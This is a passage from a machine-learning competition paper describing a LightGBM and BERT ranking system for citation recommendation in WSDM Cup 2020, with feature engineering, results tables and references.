lgb here. lgb model is a gradient boosting framework that uses
tree based learning algorithms. LightGBM builds the tree in a leaf-
wise way, as shown in Figure 4, which makes the model converge
faster.LightGBM is not sensitive to outliers and can achieve high
accuracy, which is widely used in industry. And in this work, com-
pared with Bert, the effect of LightGBM is better, the LightGBM
single-model can reach 0.413 in the leaderboard. Total number
of features is 1684, this contains of semantic features, statistical
features and so on, which will be explained later.

Figure 4: LightGBM’s leaf growth strategy

In this work, the trainingmethod of LightGBM is lambdarank(pairwise
strategy), which is about 0.5% higher than the traditional binary clas-
sification model(pointwise strategy). The following will be carried
out from two aspects of feature engineering and model construc-
tion.

2.3.1 feature engineering. Our feature engineering mainly consists
of the following 3 aspects:

• Semantic feature. Semantic features include various pre-trained
word vectormodels such as fasttext[3], glove[13], word2vec[12],
doc2vec[8] etc. And we retrain them to calculate the sim-
ilarity between description and abstract. Specifically, we
represent the vector of a sentence as the average of the word
vectors of each word in it. Then we use the cosine distance
formula and the Manhattan distance formula to measure the
correlation between the two sentences, and the correlation
value is used as our semantic feature.

• Statistical features and word frequency features. In this section,
we use various word frequency-based methods to capture

similarities, such as bm25, tfidf, f1exp and various length
and proportion features. Among these word frequency fea-
tures, we find that the similarity obtained through the bm25
method is very important. At the same time, compared with
the semantic features, the word frequency features bring
greater benefits to the model as a whole. We believe this is
due to the large number of specialized terms in the corpus.

• Rank features. In order to make our model easier to “know”
the essential purpose of ranking, we sort the various simi-
larity values according to description_id (or paper_id), and
divide the ranking value by the number of description_id (or
paper_id) to get the relative ranking ratio. This part of can
bring a 3% boosting. In detail, suppose we have m correlation
features. Then through our grouping and sorting operation,
since we can group according to description_id or paper_id,
we can get another 2m new sorting features, and divide by
the corresponding number in the group, we can also get
another 2m new sorting scale feature.

2.3.2 Modeling Methodology. Since the same description can recall
multiple paper abstracts, from the perspective of a classification
problem, this is an imbalance of positive and negative samples,
so the number of samples cannot be too large. However, in the
composition of the training set, we found that the positive sample
coverage ratio of the recall samples is also very important, so we
chose a higher number of recall samples. At the same time, in the
training set, because some descriptions cannot recall the positive
samples through our recall strategy, we artificially added the posi-
tive samples to the training set in order to ensure the coverage of
the positive samples. Through the above data preprocessing steps,
the amount of training data for lgb model is about 5 million.

Learning to Rank is one of the most commonly used algorithms
to implement ranking through machine learning. It mainly includes
three types of single document method (pointwise), document
pair method (pairwise) and document list (listwise). The point-
wise single-document method means it will judge the relevance of
each document to this query, and converting the documents rank-
ing problem into a classification (such as related, irrelevant) or a
regression problem. However, the pointwise method does not learn
other document as features when modeling, so it cannot consider
the order relationship between different documents. The purpose of
rank learning is mainly to sort the documents in the search results
according to the magnitude of relevance, so pointwise is bound to
have some defects.

Aiming at the problem of pointwise, the pairwise document
method does not care about the specific value of the correlation
between a document and a query, but converts the ranking problem
into any two different documents related to the relative order of the
current query. In order to be relevant and irrelevant, the two cate-
gories are recorded as +1, 0, and then transformed into classification
problems. Listwise treats all related documents corresponding to a
query as a single training sample.

In total, Our Lgb model is trained using a 5-fold cross-validation
method. The training target is lambdarank, and the offline verifica-
tion indicators are MAP @ 3 and MAP @ 5. The model score can
reach 0.413.
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2.4 Ensemble Methodology
In the model ensemble stage, we adopted a simple and efficient
way and get 1.2% boosting. We group the model prediction results
of LightGBM and BERT by description id, and then add the the
ranking values with weighting operation, the weights of which are
6 and 4, respectively. The details are shown in Figure 5.

Figure 5: Ensemble strategy based on rank blending with
weighting operation

3 EXPERIMENT
3.1 Experimental Settings
In this experiment, our training set has a total of about 63,000 paper
description documents, and its number on the test set is about
34,000. At the same time, our candidate paper dataset has a total
of about 840,000 papers.For each piece of description, we need to
choose 3 best-matching papers in candidate paper dataset.

Table 1: Online map@3 score with different models

Model Online MAP@3 LB score
Bert(pointwise) 0.397
Bert(pairwise) 0.402

LightGBM(pointwise) 0.405
LightGBM(pairwise) 0.413

Ensemble 0.425

3.2 Model Comparison
Here we compare the performance of our method with different
settings. The results are shown in Table 1.From the table, we can see
that no matter in Bert or LightGBM, the result of pairwise training
method is better than pointwise. At the same time, the LightGBM
model based on detailed feature engineering is very effective. Our
best single mode is LightGBM trained using pairwise methods,
which is reflected in the algorithm settings as lambdarank.

At the same time, our highest score is the ensemble model of the
Bert model and LightGBMmodel. We noticed that the improvement
based on ensemble between LightGBM models is very limited, but
the Bert model and LightGBMmodel can bring a huge improvement
of 1.2%, which we believe is due to the huge difference between the
two models.

4 CONCLUSION
In this paper, we propose a method based on Bert and LightGBM for
recognition of paper citations, in which both Bert and LightGBM

are trained using pairwise methods. At the same time, we won the
first place in the Citation Intent Recognition competition (WSDM
Cup 2020 track1).

ACKNOWLEDGEMENTS
We thank everyone associated with organizing and sponsoring the
WSDM Cup 2020. Dataset was provided by Microsoft Research.
Challenge was sponsored and managed by the 13th ACM Interna-
tional Conference on Web Search and Data Mining (WSDM 2020).
Competition platform was hosted by Biendata. we are very grateful
to WSDM Cup Chairs Kyumin Lee and Neil Shah for their great
efforts during the challenge.

REFERENCES
[1] Iz Beltagy, Arman Cohan, and Kyle Lo. 2019. Scibert: Pretrained contextualized

embeddings for scientific text. arXiv preprint arXiv:1903.10676 (2019).
[2] Andrzej Białecki, Robert Muir, Grant Ingersoll, and Lucid Imagination. 2012.

Apache lucene 4. In SIGIR 2012 workshop on open source information retrieval. 17.
[3] Piotr Bojanowski, Edouard Grave, Armand Joulin, and Tomas Mikolov. 2017. En-

riching Word Vectors with Subword Information. Transactions of the Association
for Computational Linguistics 5 (2017), 135–146.

[4] Jacob Devlin, Ming-Wei Chang, Kenton Lee, and Kristina Toutanova. 2018. Bert:
Pre-training of deep bidirectional transformers for language understanding. arXiv
preprint arXiv:1810.04805 (2018).

[5] Hui Fang and ChengXiang Zhai. 2005. An exploration of axiomatic approaches to
information retrieval. In Proceedings of the 28th annual international ACM SIGIR
conference on Research and development in information retrieval. 480–487.

[6] Guolin Ke, Qi Meng, Thomas William Finley, Taifeng Wang, Wei Chen, Weidong
Ma, Qiwei Ye, and Tieyan Liu. 2017. LightGBM: a highly efficient gradient
boosting decision tree. (2017), 3149–3157.

[7] İlker Kocabaş, Bekir Taner Dinçer, and Bahar Karaoğlan. 2014. A nonparamet-
ric term weighting method for information retrieval based on measuring the
divergence from independence. Information retrieval 17, 2 (2014), 153–176.

[8] Quoc V. Le and Tomas Mikolov. 2014. Distributed Representations of Sentences
and Documents. arXiv:cs.CL/1405.4053

[9] Jinhyuk Lee, Wonjin Yoon, Sungdong Kim, Donghyeon Kim, Sunkyu Kim,
Chan Ho So, and Jaewoo Kang. 2019. BioBERT: pre-trained biomedical language
representation model for biomedical text mining. arXiv preprint arXiv:1901.08746
(2019).

[10] Shuaipeng Liu, Shuo Liu, and Lei Ren. 2019. Trust or Suspect? An Empirical
Ensemble Framework for Fake News Classification. In Proceedings of the 12th ACM
International Conference on Web Search and Data Mining, Melbourne, Australia.
11–15.

[11] Christopher D Manning, Prabhakar Raghavan, and Hinrich Schütze. 2008. Intro-
duction to information retrieval. Cambridge university press.

[12] Tomas Mikolov, Kai Chen, Greg Corrado, and Jeffrey Dean. 2013. Efficient
Estimation of Word Representations in Vector Space. arXiv:cs.CL/1301.3781

[13] Jeffrey Pennington, Richard Socher, and Christopher Manning. 2014. Glove:
Global Vectors for Word Representation. In Proceedings of the 2014 Conference
on Empirical Methods in Natural Language Processing (EMNLP). Association for
Computational Linguistics, Doha, Qatar, 1532–1543. https://doi.org/10.3115/v1/
D14-1162

[14] Stephen E Robertson, Steve Walker, Susan Jones, Micheline M Hancock-Beaulieu,
Mike Gatford, et al. 1995. Okapi at TREC-3. Nist Special Publication Sp 109 (1995),
109.

[15] Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit, Llion Jones,
Aidan N Gomez, Łukasz Kaiser, and Illia Polosukhin. 2017. Attention is all
you need. In Advances in neural information processing systems. 5998–6008.




	_GoBack

